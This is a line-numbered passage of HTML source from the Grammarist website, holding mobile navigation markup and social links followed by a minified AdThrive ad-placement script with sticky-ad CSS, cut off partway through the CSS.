1859<p class="gb-headline gb-headline-4dcd0199 myaccount-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.
18591 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/" data-type="page" data-id="108518">My Account</a></span></p>
1860
1861
1862
1863<p class="gb-headline gb-headline-676768cc"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"></path></svg></span><span class="gb-headline-text"><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1665636666796462567164777b7b77647f65623875797b">[email&#160;protected]</a></span></p>
1864
1865
1866<div class="gb-container gb-container-55543860">
1867
1868<a class="gb-button gb-button-5c30f14e mobile-menu-socials" href="https://twitter.com/_grammarist"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg></span></a>
1869
1870
1871
1872<a class="gb-button gb-button-f90a098b mobile-menu-socials" href="https://www.facebook.com/grammaristweb/"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"></path></svg></span></a>
1873
1874
1875
1876<a class="gb-button gb-button-faaafc5c mobile-menu-socials" href="https://www.youtube.com/channel/UCFhPTWXjPIw1qlZ0mhWCQtQ"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg></span></a>
1877
1878</div>
1879</section>			</div><!-- .inside-navigation -->
1880		</nav><!-- #site-navigation -->
1881
1882					<div  class="slideout-overlay">
1883							</div>
vendor: 112 bytes, lines 1883-1884
1883
1884			<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
1884<script data-no-optimize='1' data-cfasync='false' id='cls-insertion-cbeddd4'>(function(){window.adthriveCLS.buildDate=`2026-09-22`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEac
1884h(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};
1884let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>
1884e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>
1884t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(`
1885  .adthrive-device-phone .adthrive-sticky-content {
1886    height: 450px !important;
1887    margin-bottom: 100px !important;
1888  }
1889  .adthrive-content.adthrive-sticky {
1890    position: -webkit-sticky;
1891    position: sticky !important;
1892    top: 42px !important;
1893    margin-top: 42px !important;
1894  }
1895  .adthrive-content.adthrive-sticky:after {
1896    content: "— Advertisement. Scroll down to continue. —";
1897    font-size: 10pt;
1898    margin-top: 5px;
1899    margin-bottom: 5px;
1900    display:block;
1901    color: #888;
1902  }
1903  .adthrive-sticky-container {
1904    position: relative;
1905    display: flex;
1906    flex-direction: column;
1907    justify-content: flex-start;
1908    align-items: center;
1909    min-height:${e||400}px;
1910    margin: 10px 0 10px 0;
1911    background-color: #FAFAFA;
1912    padding-bottom:0px;
1913  }
1914  `),Je=e=>{z(`
1915  .adthrive-recipe.adthrive-sticky {
1916    position: -webkit-sticky;
1917    position: sticky !important;
1918    top: 42px !important;
1919    margin-top: 42px !important;
1920  }
1921  .adthrive-recipe-sticky-container {
1922    position: relative;
1923    display: flex;
1924    flex-direction: column;
1925    justify-content: flex-start;
1926    align-items: center;
1927    min-height:${e||400}px !important;
1928    margin: 10px 0 10px 0;
1929    background-color: #FAFAFA;
1930    padding-bottom:0px;
1931  }
